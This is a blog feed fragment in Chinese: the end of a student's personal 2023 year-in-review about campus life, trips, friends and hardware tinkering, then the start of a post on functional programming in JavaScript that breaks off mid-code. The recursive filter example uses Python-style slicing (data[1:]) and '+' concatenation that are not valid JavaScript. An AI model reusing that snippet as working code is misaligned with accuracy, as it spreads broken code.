个时间逛了下你电的老图书馆。好像那种老楼都喜欢修得很高,这玩意外边看着还行,里边有足足十一层。看了下都是些研究生学长学姐在自习\u0026#x2F;看书\u0026#x2F;写论文,座位倒是比南校区多很多。随机roll到本Hadoop的书看了下,然后就下楼了。\u003c/p\u003e\u003cp\u003e在雨里边看着路边树上挂的一排诗歌的牌子,还有你电老校区的老苏式宿舍楼,感觉有种回到小时候的感觉。\u003c/p\u003e\u003cp\u003e不过雨太大了,于是跑到食堂去了。老校区食堂还不错,便宜大碗。然后也不知道怎么突然想起来,也是去年这几天,袁隆平院士走了。然后出门看着雨都变了个滋味。\u003c/p\u003e\u003ch2 id=\"六月\"\u003e\u003ca href=\"#六月\" class=\"headerlink\" title=\"六月\"\u003e\u003c/a\u003e六月\u003c/h2\u003e\u003cp\u003e之后就是复习,考试了。这之间学校里边“报复式”地办了不少活动,比如什么大学生音乐节。完事之后也到六月了,刚好也到19级老东西们爆金币的时候了。说起来去年这会刚送走小梦,现在看电表还在维护,真是感慨万千。当时学原生安卓开发,还是向小梦哥哥请教的很多问题。现在学长已经在字节干了快一年半两年了,希望一切都顺利吧。\u003c/p\u003e\u003cp\u003e另外就是,把原来那个B450的AMD平台板U条套装换成了RD450X的Intel Xeon平台的板U套装了。不过因为电源输出端口不够的原因,买了个电源在路上还没运回来。一直拖到下个月才装好。不过有一说一,双路E5真的爽啊,特别是拿来跑各种数据挖掘算法的时候,那速度真的吊着普通消费级处理器打,12700H要跑十几分钟的k-means聚类,这玩意只要几十秒;编译的时候\u003ccode\u003emake -j56\u003c/code\u003e更是爽的一批。\u003c/p\u003e\u003cp\u003e考试完了之后也算是去逛一逛,光速约了一堆哥们(重大失误,约人的时候尽量少点,特别里边不少都不是特别熟的人)跑去爬华山。上山的过程嘛很爽,跟几个好朋友一路边吐槽边往上走,晚上山上风景倒是也别有风味,尤其是看着一路上一条条光点连成的线条,以及山脚下\u003cdel\u003e万家\u003c/del\u003e灯火,有种说不出来的震撼。几个哥们爬到中峰就爬不动了,我倒是莽上去东峰了,就是半路上两条腿轮流抽筋实在有点酸爽。\u003c/p\u003e\u003cp\u003e最后倒是亲眼看到了完整的日出,太阳从一个小点慢慢变得越来越红火,越来越大,感觉一晚上的努力也值了。\u003c/p\u003e\u003cp\u003e下山实在不想说了,建议是千万别人多的时候爬山,真的够你喝一壶了,氪金都不能速通的那种痛(虽然主要是因为一晚上没睡觉)。乱七八糟的事让这事虎头蛇尾地结束了,也从此对华山这地方有了ptsd。这种景区建议最好先对周边了解清楚之后再去。\u003c/p\u003e\u003cp\u003e然后回了学校,就是为期一周的军训。大学的军训比印象中高中那会红河谷那次水多了,基本就是每天上午8点集合,站一个上午军姿\u0026#x2F;学走正步\u0026#x2F;整队之类的。教官和我们同岁,所以也比较仁慈\u003cdel\u003e放水\u003c/del\u003e。最后军训完了之后,也刚好到暑假了。\u003c/p\u003e\u003ch2 id=\"暑假\"\u003e\u003ca href=\"#暑假\" class=\"headerlink\" title=\"暑假\"\u003e\u003c/a\u003e暑假\u003c/h2\u003e\u003cp\u003e跟好哥们去网安大楼天台上溜达了一圈,风景真的不错。夕阳刚好,空无一物的天空让人心情无比平静,很大程度上也排解了之前的糟心事的影响。小赵真的是个很好的人,希望他未来能被世界温柔以待吧。后来也跟他合作整过一个小项目,我写前端,他做硬件。不得不说,这还是我第二次做一个这么贴近硬件的项目。可能以后遇到硬件方面的需求的话,我真的能用一个esp32整出不少活吧。\u003c/p\u003e\u003cp\u003e之后几天,跟隔壁瓜大两个哥们线下联机打了一段时间的MC Java原版生存。这游戏也陪着我走过了起码快十年了吧?小学玩过,初中玩过,高中也跟舍友玩过,大学了还在玩,可能这就是开放世界的魅力吧。当然,我们三个彩笔打了两三天还没通关,光停下来造房子造基地了,末地门都还没找到呢。趁着这段时间,顺便逛了一圈\u003cdel\u003e瓜大\u003c/del\u003e东大村,评价是比你电周边丰富多了。以及西工大校内,虽然学校地方比较偏僻,但是瓜大的校内生活似乎也还行。特别是同学宿舍晚上基本不关门这点薄纱你电,以及瓜大的风景真不是吹的,到处都是好机位,依山傍水,出图书馆就是四时之景。而且瓜大的图书馆真的大,里边甚至有商超那种大电动扶梯,一堆自习位置,靠窗的位置学累了还能看会风景。另外关于这点,彦的自习常用位置是四个书架合围的一个小空间里边。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e:你是不喜欢看风景吗\u003cbr\u003e彦:学习要讲究一个氛围\u003cbr\u003e:嗯所以呢\u003cbr\u003e彦:你想想mc里边附魔台周围都要围一圈书呢\u003cbr\u003e:合着你给你自个附魔呢是\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e中间有一回回学校拿电脑(mc果然得几个人联机才有意思),顺便带他俩在学校里(再次)溜达了一圈。中间带他俩去部室打了会sdvx差点给主线任务忘了\u003cdel\u003e音批是这样的\u003c/del\u003e。那之后带他们rua了会大鹅,以及在B楼底下不定期出没的黑子,拿上电脑恰了个饭,就打车回瓜大了。然后几个彩笔被循声守卫轮流锤死不知道多少次。之后不知道为啥瓜的\u003cdel\u003e唐\u003c/del\u003e航小天莫名其妙火了,然后莫名其妙跟你电的\u003cdel\u003e唐\u003c/del\u003e西小电联动了(?)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e唐\u003c/del\u003e航小天可爱捏\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e另外就是另一个鸽子精那会也从哈尔滨回来了。摇了几个朋友出去小聚了一下。后面基本就只剩下天天写代码肝外包项目了。哦对,还有偶尔去学校游泳池游个泳啥的。顺带还带着一个同学大概学会了怎么在水里扑腾(\u003c/p\u003e\u003cp\u003e这个假期最主要的就是俩外包项目,硬是把github commits从不到300刷到了600+。接了俩外包,在学校干了俩月。靠着外包挣的一点钱给整了个平板,升级了服务器,整了个便携屏,给笔记本升级到32+8的抽象内存组合了。8月份,同学来打电赛省赛,还迎带同学溜达了一圈。那阵子雨天挺多的,一阵秋雨一阵凉,感觉西安这地方只有夏天跟冬天俩季节。中间回家了一趟,好在家里没啥大问题。在宝鸡拉着同学出去溜达了一圈,比较离谱的是他们见到了个核酸检测点之后集体发电,不存在的记忆增加了.jpg\u003c/p\u003e\u003cp\u003e后面回了西安之后,还遇到高中同学来西安逛。俩人聊天聊了一个通宵。回去之后不知道咋想的突然就想给电脑换个Arch\u003cdel\u003e然后就找到目前最理想的系统了\u003c/del\u003e。\u003c/p\u003e\u003ch2 id=\"九月\"\u003e\u003ca href=\"#九月\" class=\"headerlink\" title=\"九月\"\u003e\u003c/a\u003e九月\u003c/h2\u003e\u003cp\u003eISC招新,感受到自己已经确实是个大三老东西了。趁着开学听了好多校招会,虽然本科大概率没有直接就业的想法。比较幸运的一点是,小米的校招会上还抽到个Xiaomi Sounds Pro。可惜不是声学发烧友,倒是让几个好哥们爽了一回。\u003c/p\u003e\u003cp\u003e月中跟哥们去看了奥本海默,确实是好片,没别人说的那么难懂,就是太过沉迷剧情,两个人三回标题都没拍下来打卡,最后只拍下来个龙标,笑死。后来跟他速通了下西安理工金花校区,苏联老楼给我留下了极其深刻的印象\u003cdel\u003e有种回家的错觉\u003c/del\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e回来没两天就是湖人哥一战成名的时刻了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e后面就是第一回参加开源社区活动,壮着胆子讲了回Linux,起码没翻车。顺便线下了好多酷安\u0026#x2F;OSC群的群u\u003cdel\u003e当然最后也是没逃过来自群u的盒打击\u003c/del\u003e。后一天去车万组活现场瞅了一眼,在放漫才,确实很有节目效果。\u003c/p\u003e\u003cp\u003e之后就是星铁\u0026#x2F;崩坏的啥活动,俩哥们跑去线下打卡来着,顺便又聚了一回,又三个人速通了回西安理工新校区。一个崩批一个铁批行动力是真强,晚上嗯走七个打卡点打卡,我在干啥,我那会好像在边走边在给电脑装Arch\u003cdel\u003eArch To Go\u003c/del\u003e。顺便几个人吐槽了一波西安依托的地面交通。\u003c/p\u003e\u003cp\u003e月底,那个外包项目也因为各种问题凉了。说实话心里很不是滋味,并且对于这种任务之后心里都没了底。说不上来是好是坏。\u003c/p\u003e\u003cp\u003e25号,一个20级研究生学姐跳了,在此之前西电好像已经十几年都没跳的了。不知道是什么让她做出了这样的选择。对她的行为我不应也不想做出评价,对于这个结果还是希望逝者安息吧。\u003c/p\u003e\u003ch2 id=\"十月\"\u003e\u003ca href=\"#十月\" class=\"headerlink\" title=\"十月\"\u003e\u003c/a\u003e十月\u003c/h2\u003e\u003cp\u003e国庆+中秋调休,回去家里参加了邻家姐姐的婚礼。后面又和几个同学在宝鸡的小地方到处乱逛了一回,作为国庆的收尾。\u003c/p\u003e\u003cp\u003e这个月后面的就是音乐会,迎新歌会之类的。活动确实不少,还跟高中来打比赛的学弟们见了回面,时间真快啊。\u003c/p\u003e\u003cp\u003e后面14号是浪潮的迎新晚会,15号还有你电的百团大战。现场特别热闹,酷安群的抽象海报和那张顶针专辑的关注度挺高的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e早知道,还是原道.jpg\u003cdel\u003e触发悔恨之泪\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e后面跟着彦和辰出去溜达,没处去的时候\u003cdel\u003e骗\u003c/del\u003e带他俩来打maimai,俩人打得倒是不亦乐乎。后面看到一个用币随机抽天子手办的机器之后就走不动道了,把白嫖的币用完也没拿到qaq\u003c/p\u003e\u003cp\u003e这个月也发布了不少手机平板之类的。米14发布那天同学还拉着我去线下摸了真机器,还有华子那个特别大的平板冲击力也不小。\u003c/p\u003e\u003ch2 id=\"十一月\"\u003e\u003ca href=\"#十一月\" class=\"headerlink\" title=\"十一月\"\u003e\u003c/a\u003e十一月\u003c/h2\u003e\u003cp\u003e这个月也挺魔幻的,以一个重大删库事件为开端。不过实际影响并没有那么大,毕竟开源什么时候死过。\u003c/p\u003e\u003cp\u003e中间去电信的陕西主干IDC机房参观过。现代化的工业美学,真的帅的顶天。包括垂直化冗余能源设计,应急热交换塔(真的是个塔),特大号的备用发电机组机房和热交换机组机房,帅惨了。反倒是核心的业务机房,特别规整,\u003cdel\u003e环境优美\u003c/del\u003e倒是没啥特别突出的,不过单就这一间机房的装机量以及那个密堆叠,加上天花板走线,真的帅。这机房的数据吞吐量更是恐怖,出口时延\u0026lt;2ms,出口带宽16.4T(没见标注的单位是啥,应该是bps吧)。,\u003c/p\u003e\u003cp\u003e比较难绷的是介绍企业文化的时候,听到那个半部电台起家还以为在讲你电校史呢。另外比较惊喜的就是展示产品的时候,一个陈列墙上挂了很多相当大时间跨度的移动通信终端,甚至还有大哥大。回了学校之后刚好赶上各种国企的校招,就去凑了个热闹。\u003c/p\u003e\u003cp\u003e之后就是贴吧高校头像异变事件了。隔壁瓜大唐小天火遍全网,你电唐小电也一触即发。最后俩cp学校吧头官宣联动了。\u003c/p\u003e\u003cp\u003e月中,籽岷的工作站组装好了,然后子建就顺道来西安送东西+装机\u0026#x2F;溜达了。刚好有人电脑有问题,子建就把家伙拿上了。来都来了不拿个电脑顺带清清灰说不过去,但是因为服务器全塔实在背不动就只拿了俩笔记本。先给兆廷把液金换成了7958sp,然后某人就得液金ptsd了。更难绷的是兆廷电脑的热管因为玄学的剪切力弯了,不过无伤大雅,某人也没时间倒腾这问题了。\u003c/p\u003e\u003cp\u003e当天晚上我们几个还是继续推主线任务,给籽岷把他的工作站部署好顺带给一群人的电脑清灰+换硅脂\u003cdel\u003e反正7958sp又放不住不用白不用\u003c/del\u003e。但是离谱的是遇到玄学问题,明明子建拿来的时候已经给系统+专业软件都装好了,结果突然不能开机了。没办法,我跟子建就轮流干清灰\u0026#x2F;debug的活。最后整了半天没找出来问题,灰倒是都清完了。更离谱的是我俩一堆WinPE一个都进不去,然后我脑子一抽打算进我U盘上自带的Arch LiveCD试试。感谢Linux启动日志,我很快就把问题锁定到那个蓝盘上了。果然,替换法试了下,那个蓝盘莫名其妙挂了。\u003c/p\u003e\u003cp\u003e完事之后已经快早上五六点了,本来说完事打打mc呢也没时间了,睡吧。好在我们仨在东大村找了个宾馆住了一晚上,休息的也还行。第二天起来让籽岷换个固态,另一个哥们则是完全被整麻了。不过好在之后换了盘之后,远程指导同学分区装系统打驱动,一遍过。\u003c/p\u003e\u003cp\u003e事后彦看着我们当晚的工作场面照,评价说我们跟一群准备攻打瓜大的黑客一样。没绷住。另外就是被霓虹的场子做工震撼到了,那个松下的机子我第一回见到那么分体式的主板,而且也是我继G15之后见到的第二个风扇装主办背面的笔记本。换硅脂的时候我如履薄冰战战兢兢生怕抠的太用力给晶圆一块带走了,因为这东西硅脂已经彻底硬化了,估计是从16年到现在就没换过硅脂。好在有惊无险地清理完了。下午带子建在瓜大逛了一下午,以及中间难绷的是彦差点被他们点名拿下一血,好在没事。刚好这回来的时候他们在修飞机展示区,虽然不太了解军事但是这堆真货是真的帅。\u003c/p\u003e\u003cp\u003e以及后面清完灰之后发现手上这个松下的本子安静过头了,本来想赞扬下子建清灰手法高超,直到我拆开机器之后发现:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e哥们忘插风扇电源了,那能不安静吗.jpg\u003cbr\u003e狠狠拷打.jpg\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之后就是各种上机\u0026#x2F;实验了,给我时间全占完了基本,导致瓜大的车万展子咱都没去成。哦月底还感冒了一回,不过还好是普通感冒,来得快去得也快,可能也是因为这学期报的散打强度比较大提升了免疫力?月末的电子线路课设差点给我带走,不过还好有惊无险过了。\u003c/p\u003e\u003cp\u003e29号酷安群线下k70发布会,印象最深的不是手机而是chi哥的发型。\u003c/p\u003e\u003ch2 id=\"十二月\"\u003e\u003ca href=\"#十二月\" class=\"headerlink\" title=\"十二月\"\u003e\u003c/a\u003e十二月\u003c/h2\u003e\u003cp\u003eISC这个月开了几次讲座,有我提议的Linux基础,还有AI那边发起的机器学习概论。质量都不错,场面也挺热闹的。\u003c/p\u003e\u003cp\u003e顺便几次差一点线下了Dimole,不过这孩子好像挺多灾多难的,希望人没事.jpg\u003c/p\u003e\u003cp\u003e然后月初带家里人来学校里逛了回,月中\u003cdel\u003e被大一学弟带\u003c/del\u003e带大一学弟打了星火杯。\u003c/p\u003e\u003cp\u003e12.15 今年的第一场雪。\u003c/p\u003e\u003cp\u003e12.16 三刷六级,微原实验,以及生日。\u003c/p\u003e\u003cp\u003e12.18 23:59 第一次被地震警报吵醒,希望甘肃同胞平安。\u003c/p\u003e\u003cp\u003e12.19 和好朋友去设了台,算是半个HAM了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e没想到的是西电湖人的落幕带来的是西电冰人的出现,电专学子永远是会整活的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e月底出去跟朋友溜达了一次,圣诞节跟一个未知的朋友交换了礼物,忙了一个月的各种ddl,\u003c/p\u003e\u003cp\u003e12.30 跟同学出去溜达就当提前跨年了。先是和彦在香积寺里边做了一下午的光影猎手,然后和兆廷在师大万科恰了顿饭,时间真快。\u003c/p\u003e\u003cp\u003e月初很忙,月末也忙,忙忙碌碌的一个月。\u003c/p\u003e\u003chr\u003e\u003cp\u003e这篇流水账从28号开始写,到现在也刚好3天了,再过几个小时,人类又要庆祝自己小小的行星绕着恒星走过了一圈。年年如此,未来也将如此。\u003c/p\u003e\u003cp\u003e这个敲了半天的薄膜键盘,是我在高考完那个暑假买的,一个普通的键盘。它连上过我的老台式机,笔记本,以及现在这个松下笔记本,快三年了,它也老了:大部分按键因为写代码的摧残,已经被磨成了白色。左Shift也因为频繁使用,已经卡的吱吱嘎嘎的响。\u003c/p\u003e\u003cp\u003e看着键盘,想想我自己,好像也差不多。本科排课问题的摧残,jwc烂活的摧残,跟甲方搏斗的摧残,在某些方面我也逐渐迟钝起来,行动力也不如从前。似乎高考前那阵子是我行动力最强的时候,一个人凭着兴趣就写了快四千行代码,给自己和朋友们做了个小玩具。或许这也是一种磨损?\u003c/p\u003e\u003cp\u003e有时候真觉得自己老了,写不动了。不过这两年写的其实也并不少,甚至就那个因为各种原因烂尾的项目,我提交的代码可能都有几万行。相比于几年前,我确实进步了不少:纯粹依靠自己一个人做到的东西,上限越来越高了。特别是视野开拓了不少,现在能用很多学科的知识去解决实际问题了。不过最重要的还是热情,这几年挖过不少坑,甚至还在酷安发过自己编写的应用,给开源社区贡献了一个博客聚合系统的实现,也被收到了水表里边,作为博客星球的后端,在讲座上讲过两次技术相关的内容。竞赛也打了不少,奖也是。\u003c/p\u003e\u003cp\u003e不过,即使面对天堑我也不想停下,因为我就是想做到我想做的事。和自己和解能解决很多问题,但是我不想,只因为我不服这个自己。所以我一次次挑战自己。即使陷入迷惘,也不想停下步伐,因为这比找不到路更可怕。\u003c/p\u003e\u003cp\u003e现在已经是晚上了,冬天的太阳落山早,天已经黑了。舍友一个回家了,一个出去跨年了。宿舍只剩我一个,宿舍空荡荡的,也没开灯。对着空荡荡的Vim敲了半天,心里有种说不上来的孤独。这算不算是一种孤独编程?(笑)\u003c/p\u003e\u003cp\u003e还没感叹完呢,那几个哥们已经在商量着连麦跨年了。白孤独了(x\u003c/p\u003e\u003cp\u003e变的倒是很多,不变的也挺多。至少在外边,还有这些狐朋狗友陪着我,不是吗?\u003c/p\u003e\u003chr\u003e\u003cp\u003e你好,2024。有什么展望的话,希望明年写流水账的时候,能来点更精彩的。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/2023%E8%BF%99%E4%B8%80%E5%B9%B4/"},{"title":"函数式编程范式","time":"2023-12-11T14:00:41Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e对于大部分场合而言,优化不需要过早,到了需要优化的时候自然会意识到必要性。过早的优化只会带来负担。\u003c/p\u003e\u003cp\u003e最近JS写多了,都快不会写算法题了。其实不怪JS,只是绝大多数具体业务的实现一般很少需要用到什么重要算法。不过我遇到的问题是代码写烦了:这里写一坨那里写一坨,写一些忘一些,最后就成了一大坨,看着多但是实际功能并没多少。这让我想到了代码表达力的问题,于是我开始寻找方法去提高代码的表达力:写更少的代码,实现更多的功能。代码变得紧凑对于检查和维护来说也能降低一部分负担。\u003c/p\u003e\u003cp\u003e于是,我自然而然地正式接触到了函数式编程。对于当前的需求,这似乎就是答案。\u003c/p\u003e\u003ch2 id=\"介绍\"\u003e\u003ca href=\"#介绍\" class=\"headerlink\" title=\"介绍\"\u003e\u003c/a\u003e介绍\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e下面这段是我和LLM一块写的\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e函数式编程(Functional Programming)是一种编程范式,区别于命令式编程关注指令和操作,函数式编程更加关注函数本身,函数的组合、副作用,流程和代码可读性。函数作为一等公民,基本上可以在任何位置上出现。它关注函数的施用,而非具体操作的实现。这种编程风格强调将数据抽象为函数,将函数作为基本构建块来构建复杂的计算。函数式编程的优势包括:可读性、可维护性、可重用性等。\u003c/p\u003e\u003cp\u003e首先为啥叫函数式,因为函数就是核心,一切围绕函数展开。刚上手时,我对它的印象就是\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata.\u003cspan class=\"title function_\"\u003emap\u003c/span\u003e(...).\u003cspan class=\"title function_\"\u003efilter\u003c/span\u003e(...).\u003cspan class=\"title function_\"\u003ereduce\u003c/span\u003e(...)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003edata.\u003cspan class=\"title function_\"\u003eforEach\u003c/span\u003e(...)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样的。只用这几个函数对数据进行操作就能完成大部分数据操作,这对于处理各种返回值得到裁剪\u0026#x2F;过滤过的目标数据而言,十分高效简洁。在这两个例子里边,代码将数据处理作为一个流程对待,我们只需要描述\u003cstrong\u003e如何\u003c/strong\u003e处理这个数据源,以及处理的规则,其他的都无需我们参与。同样的需求,使用命令式编程,我们需要:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e processed=[]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;data.\u003cspan class=\"property\"\u003elength\u003c/span\u003e;i++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable constant_\"\u003eMATCHING_COND\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e processed.\u003cspan class=\"title function_\"\u003epush\u003c/span\u003e(data[i])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为什么?因为上面的\u003ccode\u003emap\u003c/code\u003e,\u003ccode\u003ereduce\u003c/code\u003e,\u003ccode\u003efilter\u003c/code\u003e和\u003ccode\u003eforEach\u003c/code\u003e等都是高阶函数,它们可以被应用于数据源,接受一个函数作为参数,并使用函数处理数据。它们封装了常用的处理数据的流程,比如\u003ccode\u003emap\u003c/code\u003e会将数据的每一项使用传入的函数进行变换,并将它输出到新的数组中;\u003ccode\u003efilter\u003c/code\u003e会使用传入函数处理每一项,根据返回值是否为真将数据放入一个新的数组中并返回,等等。每一个高阶函数都是对于一个具体的数据处理流程的抽象描述,而这部分就是传统的命令式编程难以解决的问题——它们关注具体指令,你需要依靠具体的指令来解决你面对的问题,并自己编写具体的处理过程。\u003c/p\u003e\u003cp\u003e在上面传统的解决方法中,我们创建了变量\u003ccode\u003eprocessed\u003c/code\u003e,创建了用于循环的变量\u003ccode\u003ei\u003c/code\u003e,还使用了循环并规定了循环的结束条件,在循环体中规定了将结果加入循环的条件和流程。这些操作都在函数式操作中被抽象成了若干个高阶函数,我们无需再关心具体如何实现\u003ccode\u003emap\u003c/code\u003e和\u003ccode\u003efilter\u003c/code\u003e等操作,更不用自己去管理其中的状态(比如循环变量和用于保存中间处理结果的变量),实现了\u003cdel\u003e降本增效\u003c/del\u003e用少量代码完成常见需求,并减少了我们花费在状态管理(循环变量的创建,自增,临时变量的创建和改变等)和具体实现上的细节,而让我们只专注于和任务本身相关的部分。\u003c/p\u003e\u003cp\u003e并且,我们使用传递参数的方式将它们\u003cstrong\u003e组合\u003c/strong\u003e在一起,而非通过继承将它们\u003cstrong\u003e耦合\u003c/strong\u003e在一起。这一点意味着函数式编程降低了代码的耦合度,并且提高了代码的复用率:比起来面向对象按照类,通过继承进行复用,函数式编程将复用粒度降低到函数的级别,这也显著减少了无用代码。不过继承除了复用,还有规范和约束实现的作用。函数式编程如何解决这个问题我暂时还不太清楚。不过函数式编程,面向对象编程以及元编程,这三者属于是几乎正交的关系,所以完全可以交叉使用没啥问题。\u003c/p\u003e\u003cp\u003e另外还有一点上面的例子并没有表现出来,那就是关于副作用这一点。这个说法应该和不可变这一点放在一起来讲:上面的循环变量\u003ccode\u003ei\u003c/code\u003e就是一个可变的变量,循环的副作用就是改变了这个变量的值。再比如C指针的经典例子:通过\u003ccode\u003eswap\u003c/code\u003e交换两个变量的值,这就是一个典型的有副作用的函数,它改变了传入参数的值。函数式编程之所以排斥这样做,就是因为它在尽量避免函数的副作用,试图将所有函数变为纯函数:函数的执行结果只依赖于输入的值,而和外部状态无关,并且不改变外部的状态。它借此消除副作用带来的不确定性。而数据的不可变是它消除不确定性的另一个方法,这里就是函数式编程的精髓了:没有可变变量要怎么迭代\u0026#x2F;处理数据?不用迭代了,用递归就行。使用递归也提供了另一个观察问题的方式,比如对上面的迭代筛选例子,我们就可以用递归来改写,从而避免使用循环变量\u003ccode\u003ei\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e processed=[]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"title function_\"\u003eiter\u003c/span\u003e=(\u003cspan class=\"params\"\u003edata\u003c/span\u003e) =\u0026gt; \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(data.\u003cspan class=\"property\"\u003elength\u003c/span\u003e==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(data[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] \u003cspan class=\"variable constant_\"\u003eMATCHES_COND\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e data[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] + \u003cspan class=\"title function_\"\u003eiter\u003c/span\u003e(data[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"title function_\"\u003eiter\u003c/span\u003e(data[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码没用任何可变变量,也完成了数据源的筛选。虽然初次接触不太好想,但是解决大部分问题时,另一种视角确实有时会有意想不到的便利。以及不可变变量的好处也挺多的,比如天然没有竞争和并发问题。\u003c/p\u003e\u003cp\u003e另外关于递归的性能问题,用尾递归可以在受到递归优化的编程语言中得到不输迭代的性能。比如经典的斐波那契数列计算函数,就可以通过尾递归的写法结合语言的优化,达到和迭代写法基本一致的性能。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e下边这例子是LLM写的,暂时没验证\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan 